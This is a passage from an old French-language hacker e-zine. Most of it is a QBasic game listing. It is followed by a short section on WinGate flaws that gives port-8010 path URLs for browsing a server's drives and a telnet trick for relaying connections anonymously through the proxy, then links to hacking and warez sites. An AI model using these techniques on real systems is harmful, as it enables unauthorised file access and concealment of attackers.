IF p = 280 AND q >= n + 10 THEN GOTO 4
IF p = 300 AND q <= o THEN GOTO 4
IF p = 300 AND q >= o + 5 THEN GOTO 4
IF d = 0 THEN GOTO 1
IF p = 80 AND q <= d THEN GOTO 4
IF p = 80 AND q >= d + 20 THEN GOTO 4
IF p = 320 THEN GOTO 8
LINE (80, 0)-(80, d)
LINE (80, d + 20)-(80, 200)
LINE (80, d)-(80, d + 20), couleur% = 1
d = d - 1
p = p + 1
c$ = INKEY$
IF c$ = CHR$(53) THEN GOTO 6
IF c$ = CHR$(50) THEN GOTO 7
FOR z = 1 TO s
NEXT
GOTO 5
6 PSET (p, q)
IF p = 40 AND q <= b THEN GOTO 4
IF p = 40 AND q >= b + 20 THEN GOTO 4
IF p = 60 AND q <= c THEN GOTO 4
IF p = 60 AND q >= c + 15 THEN GOTO 4
IF p = 100 AND q <= e THEN GOTO 4
IF p = 100 AND q >= e + 15 THEN GOTO 4
IF p = 120 AND q <= f THEN GOTO 4
IF p = 120 AND q >= f + 15 THEN GOTO 4
IF p = 140 AND q <= g THEN GOTO 4
IF p = 140 AND q >= g + 15 THEN GOTO 4
IF p = 160 AND q <= h THEN GOTO 4
IF p = 160 AND q >= h + 15 THEN GOTO 4
IF p = 180 AND q <= i THEN GOTO 4
IF p = 180 AND q >= i + 15 THEN GOTO 4
IF p = 200 AND q <= j THEN GOTO 4
IF p = 200 AND q >= j + 10 THEN GOTO 4
IF p = 220 AND q <= k THEN GOTO 4
IF p = 220 AND q >= k + 10 THEN GOTO 4
IF p = 240 AND q <= l THEN GOTO 4
IF p = 240 AND q >= l + 10 THEN GOTO 4
IF p = 260 AND q <= m THEN GOTO 4
IF p = 260 AND q >= m + 10 THEN GOTO 4
IF p = 280 AND q <= n THEN GOTO 4
IF p = 280 AND q >= n + 10 THEN GOTO 4
IF p = 300 AND q <= o THEN GOTO 4
IF p = 300 AND q >= o + 5 THEN GOTO 4
IF q <= 0 THEN GOTO 4
IF d = 0 THEN GOTO 2
IF p = 80 AND q <= d THEN GOTO 4
IF p = 80 AND q >= d + 20 THEN GOTO 4
LINE (80, 0)-(80, d)
LINE (80, d + 20)-(80, 200)
LINE (80, d)-(80, d + 20), couleur% = 1
d = d - 1
q = q - 1
IF INKEY$ = CHR$(51) THEN GOTO 5
FOR z = 1 TO s
NEXT
GOTO 6
7 PSET (p, q)
IF p = 40 AND q <= b THEN GOTO 4
IF p = 40 AND q >= b + 20 THEN GOTO 4
IF p = 60 AND q <= c THEN GOTO 4
IF p = 60 AND q >= c + 15 THEN GOTO 4
IF p = 100 AND q <= e THEN GOTO 4
IF p = 100 AND q >= e + 15 THEN GOTO 4
IF p = 120 AND q <= f THEN GOTO 4
IF p = 120 AND q >= f + 15 THEN GOTO 4
IF p = 140 AND q <= g THEN GOTO 4
IF p = 140 AND q >= g + 15 THEN GOTO 4
IF p = 160 AND q <= h THEN GOTO 4
IF p = 160 AND q >= h + 15 THEN GOTO 4
IF p = 180 AND q <= i THEN GOTO 4
IF p = 180 AND q >= i + 15 THEN GOTO 4
IF p = 200 AND q <= j THEN GOTO 4
IF p = 200 AND q >= j + 10 THEN GOTO 4
IF p = 220 AND q <= k THEN GOTO 4
IF p = 220 AND q >= k + 10 THEN GOTO 4
IF p = 240 AND q <= l THEN GOTO 4
IF p = 240 AND q >= l + 10 THEN GOTO 4
IF p = 260 AND q <= m THEN GOTO 4
IF p = 260 AND q >= m + 10 THEN GOTO 4
IF p = 280 AND q <= n THEN GOTO 4
IF p = 280 AND q >= n + 10 THEN GOTO 4
IF p = 300 AND q <= o THEN GOTO 4
IF p = 300 AND q >= o + 5 THEN GOTO 4
IF q >= 200 THEN GOTO 4
IF d = 0 THEN GOTO 3
IF p = 80 AND q <= d THEN GOTO 4
IF p = 80 AND q >= d + 20 THEN GOTO 4
LINE (80, 0)-(80, d)
LINE (80, d + 20)-(80, 200)
LINE (80, d)-(80, d + 20), couleur% = 1
d = d - 1
q = q + 1
IF INKEY$ = CHR$(51) THEN GOTO 5
FOR z = 1 TO s
NEXT
GOTO 7
4 CLS
PRINT ""
PRINT ""
PRINT "            Vous avez perdu"
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT " Nombre de points"
PRINT r
PRINT ""
PRINT ""
PRINT ""
PRINT " Appuyez sur a"
LINE (90, 10)-(220, 10)
LINE (220, 10)-(220, 30)
LINE (220, 30)-(90, 30)
LINE (90, 30)-(90, 10)
11 IF INKEY$ = CHR$(97) THEN GOTO 9
GOTO 11
8 CLS
r = r + 1
s = s - 50
PRINT ""
PRINT ""
PRINT "            Vous avez gagn‚"
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT " Appuyez sur a"
LINE (90, 10)-(220, 10)
LINE (220, 10)-(220, 30)
LINE (220, 30)-(90, 30)
LINE (90, 30)-(90, 10)
10 IF INKEY$ = CHR$(97) THEN GOTO 0
GOTO 10
9 CLS
PRINT ""
PRINT ""
PRINT "       Voulez vous recommencer ?"
PRINT ""
PRINT ""
PRINT ""
PRINT ""
PRINT " o = Oui"
PRINT " n = Non"
13 c$ = INKEY$
IF c$ = CHR$(111) THEN GOTO 22
IF c$ = CHR$(110) THEN GOTO 12
GOTO 13
12 END

Les failles Wingate

   WinGate est un programme qui permet à des ordinateurs sous WindowsNT ou Win9x de partager la même conection internet. cependant ce programme présente des failles. Par exemple. On sait que WinGate utilise le port 8010. Ainsi pour voir ce qu'un serveur a sur ses drivers on tape dans la barre de navigation d'un navigateur:
http://www.urlNT.com:8010/c:/
http://www.urlNT.com:8010/..../
http://www.urlNT.com:8010//
Voilà... Mais on peut aussi utiliser les failles Wingate pour se faire anonymizer lors d'une session telnet. exemple:
Sous le serveur WinNT ou 9x, sous telnet sur le port telnet, vous tapez
wingate> www.urlàjoindre.com
 Et vous voilà anonymizé par l'IP du serveur qui aura cru que vous étiez un de leurs postes en réseau.
 

  Pour conclure cet e-zine je dirais qu'il faut savoir faire marcher sa tête, et qu'on arrivera à rien sans ça.
references:
- sites
http://www.hackers.com
http://qha.cjb.net
http://www.crackstore.com
http://abcnews.go.com
http://www.scssi.gouv.fr
http://www.cnil.fr
http://www.undergroundnews.com
http://surf.to/hackforum
htpp://www.2600.com
http://www.anti-hack.org
http://www.warezfun.com
- zines:
Noroutes (#1, #2, #3, #4)
anewbie.doc
ultimate.doc
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Hacker guide
Nothink
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